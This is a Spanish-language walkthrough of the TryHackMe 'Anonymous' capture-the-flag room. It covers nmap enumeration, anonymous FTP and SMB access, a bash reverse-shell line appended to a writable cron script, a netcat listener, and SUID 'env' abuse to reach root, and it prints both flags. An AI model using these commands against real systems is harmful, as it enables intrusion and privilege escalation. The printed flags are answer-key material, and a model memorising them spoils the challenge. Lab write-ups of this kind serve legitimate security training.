

liamm251

Anonymous

<https://tryhackme.com/room/anonymous>

Enumeración NMAP:

```
(kali㉿kali)~[~/Downloads]
$ nmap -p- --open -sS -sV -sCV -T4 -n -Pn --min-rate=5000 10.10.58.171
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-24 06:47 EDT
Nmap scan report for 10.10.58.171
Host is up (0.055s latency).
Not shown: 65482 closed tcp ports (reset), 49 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.0.8 or later
ftp-syst:
STAT:
FTP server status:
Connected to ::ffff:10.9.0.241
Logged in as ftp
TYPE: ASCII
No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
At session startup, client count was 2
vsFTPD 3.0.3 - secure, fast, stable
End of status
ftp-anon: Anonymous FTP login allowed (FTP code 230)
drwxrwxrwx   2 111       113         4096 Jun 04  2020 scripts [NSE: writeable]
22/tcp    open  ssh            OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
 2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
 256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
 256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:0e:28:72:70:cd (ED25519)
139/tcp   open  netbios-ssn    Samba smbd 3.X ~ 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
smb-os-discovery:
OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
Computer name: anonymous
NetBIOS computer name: ANONYMOUS\x00
Domain name: \x00
FQDN: anonymous
System time: 2025-08-24T10:47:41+00:00
clock-skew: mean: 1s, deviation: 0s, median: 0s
smb2-security-mode:
3:1:1:
Message signing enabled but not required
smb2-time:
date: 2025-08-24T10:47:40
start_date: N/A
_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
smb-security-mode:
account_used: guest
```

Me llama la atención ftp que tiene anonymous vamos a ver lo que hay

```

(kali@kali)-[~/Downloads]
$ ftp 10.10.58.171
Connected to 10.10.58.171.
220 NamelessOne's FTP Server!
Name (10.10.58.171:kali): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (||52742|)
150 Here comes the directory listing.
drwxrwxrwx  2 111      113      4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (||33075|)
150 Here comes the directory listing.
-rwxr-xrwx  1 1000      1000      314 Jun 04  2020 clean.sh
-rw-rw-r--  1 1000      1000     1591 Aug 24 11:03 removed_files.log
-rw-r--r--  1 1000      1000      68 May 12  2020 to_do.txt
226 Directory send OK.
ftp> get to_do.txt
local: to_do.txt remote: to_do.txt
229 Entering Extended Passive Mode (||7778|)
150 Opening BINARY mode data connection for to_do.txt (68 bytes).
100% |*****| 68 1.17 KiB/s 00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (0.61 KiB/s)
ftp> get clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (||52735|)
150 Opening BINARY mode data connection for clean.sh (314 bytes).
100% |*****| 314 2.32 MiB/s 00:00 ETA
226 Transfer complete.
314 bytes received in 00:00 (6.43 KiB/s)
ftp> get removed_files.log
local: removed_files.log remote: removed_files.log
229 Entering Extended Passive Mode (||39370|)
150 Opening BINARY mode data connection for removed_files.log (1591 bytes).
100% |*****| 1591 29.17 MiB/s 00:00 ETA
226 Transfer complete.
1591 bytes received in 00:00 (32.10 KiB/s)
ftp>

```

```

(kali@kali)-[~/Downloads]
$ cat to_do.txt
I really need to disable the anonymous login... it's really not safe
(kali@kali)-[~/Downloads]

```

SMB

```
(kali㉿kali)-[~/Downloads]
$ smbclient -L 10.10.58.171
Password for [WORKGROUP\kali]:
There's a share on the user's computer. What's it called?
  Sharename      Type      Comment
  -----
  print$         Disk      Printer Drivers
  pics           Disk      My SMB Share Directory for Pics
  IPC$           IPC       IPC Service (anonymous server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

  Server          Comment
  -----
  Workgroup       Master
  root:
  WORKGROUP      ANONYMOUS

(kali㉿kali)-[~/Downloads]
$
```

SMBCLIENT

```
(kali㉿kali)-[~/Downloads]
$ smbclient \\\10.10.58.171\pics
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
.          D          0      Sun May 17 07:11:34 2020
..         D          0      Wed May 13 21:59:10 2020
corgo2.jpg N      42663  Mon May 11 20:43:42 2020
puppos.jpeg N     265188 Mon May 11 20:43:42 2020
0          20508240 blocks of size 1024. 13306816 blocks available
smb: \>
```

No hay nada relevante después de usar herramientas a ver si contenían algo oculto así que nos volvemos al ftp

FTP

Haciendo un help veo que puedo hacer un append

```

ftp> help
Commands may be abbreviated.  Commands are:

!      delete      hash      mlsd      pdir      remopts    struct
$      dir         help      mlst      pls       rename     sunique
account disconnect  idle     mode      pmlsd     reset      system
append edit          image    modtime  preserve  restart    tenex
ascii  epsv        lcd      more     progress  rhelp      throttle
bell   epsv4      less     mput     prompt    rmdir      trace
binary epsv6      lpage    mget     proxy     rstatus    type
bye    exit       lpwd     msend    put       runique     umask
case   features  ls       newer     pwd       send        unset
cd     fget        macdef   nlist     quit      sendport    usage
cdup   form       mdelete  nmap      quote     set         user
chmod  ftp        mdir     ntrans    rate      site        verbose
close  gate       mget     open      rcvbuf    size        xferbuf
cr     get        mkdir    page      recv      sndbuf      ?
debug  glob       mls      passive   reget     status

ftp>

```

```

ftp> ls -la
229 Entering Extended Passive Mode (|||32503|)
150 Here comes the directory listing.
drwxrwxrwx  2 111      113      4096 Jun 04  2020 .
drwxr-xr-x  3 65534    65534    4096 May 13  2020 ..
-rwxr-xrwx  1 1000     1000     314 Jun 04  2020 clean.sh
-rw-rw-r--  1 1000     1000     903 Aug 24 11:47 removed_files.log
-rw-r--r--  1 1000     1000     68 May 12  2020 to_do.txt
226 Directory send OK.
ftp>

```

```

$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.9.0.241/4444 0>&1

```

```

ftp> append shell.sh clean.sh
local: shell.sh remote: clean.sh
229 Entering Extended Passive Mode (|||40686|)
150 Ok to send data.
100% |*****| 60      1.00 MiB/s    00:00 ETA
226 Transfer complete.
60 bytes sent in 00:00 (0.59 KiB/s)
ftp>

```

Y ya estaría abrimos netcat desde nuestro local:

liammm251

```
(kali㉿kali)-[~/Downloads]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.0.241] from (UNKNOWN) [10.10.230.137] 44530
bash: cannot set terminal process group (1284): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ whoami
whoami
namelessone
namelessone@anonymous:~$
```

Abrimos la flag

```
namelessone@anonymous:~$ cat user.txt
cat user.txt e is running on port 21?
90d6f992585815ff991e68748c414740
```

ESCLADO

```

namelesone@anonymous:~$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9066/bin/mount
/snap/core/9066/bin/ping
/snap/core/9066/bin/ping6
/snap/core/9066/bin/su
/snap/core/9066/bin/umount
/snap/core/9066/usr/bin/chfn
/snap/core/9066/usr/bin/chsh
/snap/core/9066/usr/bin/gpasswd
/snap/core/9066/usr/bin/newgrp
/snap/core/9066/usr/bin/passwd
/snap/core/9066/usr/bin/sudo
/snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9066/usr/lib/openssh/ssh-keysign
/snap/core/9066/usr/lib/snapd/snap-confine
/snap/core/9066/usr/sbin/pppd
/bin/umount
/bin/fusermount
/bin/ping
/bin/mount
/bin/su
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd

```

```

/usr/bin/env
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/pkexec

```

Me llama la atención el env así que vamos al gtfobins

SUID

Si el binario tiene el bit SUID activado, no elimina los privilegios elevados y puede utilizarse de forma abusiva para acceder a sistema de archivos, escalar o mantener el acceso privilegiado como una puerta trasera SUID. Si se usa para ejecutar `sh` omite el `-p` argumento en sistemas como Debian (<= Stretch) que permiten que el `sh` shell predeterminado se ejecute con privilegios SUID.

Este ejemplo crea una copia SUID local del binario y la ejecuta para mantener privilegios elevados. Para interactuar con un binario SUID existente, omite el primer comando y ejecute el programa usando su ruta original.

```

sudo install -m =xs $(which env) .
./env /bin/sh -p

```

Y ahora

```

namelessone@anonymous:~$ /usr/bin/env /bin/sh -p
/usr/bin/env /bin/sh -p
whoami
root
cd /root
ls
root.txt
cat root.txt
4d930091c31a622a7ed10f27999af363

```